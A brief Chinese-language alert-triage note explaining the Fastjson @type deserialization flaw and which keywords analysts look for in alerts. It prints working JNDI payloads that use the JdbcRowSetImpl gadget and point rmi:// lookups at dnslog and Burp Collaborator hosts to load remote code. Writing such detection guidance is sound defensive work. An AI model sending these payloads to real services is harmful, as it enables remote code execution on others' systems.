++++fastjson漏洞利用原理++++**
在请求包里面中发送恶意的json格式payload,漏洞在处理json对象的时候,没有对@type 字段进行过滤,从而导致攻击者可以传入恶意的TemplatesImpl类,而这个类有一个字段就是_bytecodes,有部分函数会根据这个_bytecodes生成java实例,这就达到fastjson通 过字段传入一个类,再通过这个类被生成时执行构造函数
++++初研判:++++**
产生这个告警的时候着重查看原始事件里面的payload看是否有json格式的文件或者json的其他字段,或者看响应包里有无json格式或者fastjson,或者是否有_bytecodes 和dnslog关键字。
看是否会出现toJSONString() 和 parseObject() 方法关键字(这俩方法可以将 Java 对象与 JSON 相互转换)
++++告警示例图:++++**
抓包登录界面添加了字符破环原始json数据发现为fastjson
++++fastjson反序列化相关payload++++**
{
"a":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://dnslog.cn/zcc",
"autoCommit":true
}
}
- 驱动JdbcRowSetImpl库;
2、通过设置dataSourceName属性传参给lookup()方法;
3、通过设置autoCommit属性来触发执行最终的lookup()方法。
按照上面的例子,就可以构造出:
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://vvui5lzoq6556fmj4al3ighsrjxalz.burpcollaborator.net/Exploit","autoCommit":true}
着重查看标红关键字 rmi.class是Java的类文件,相较来说是恶意的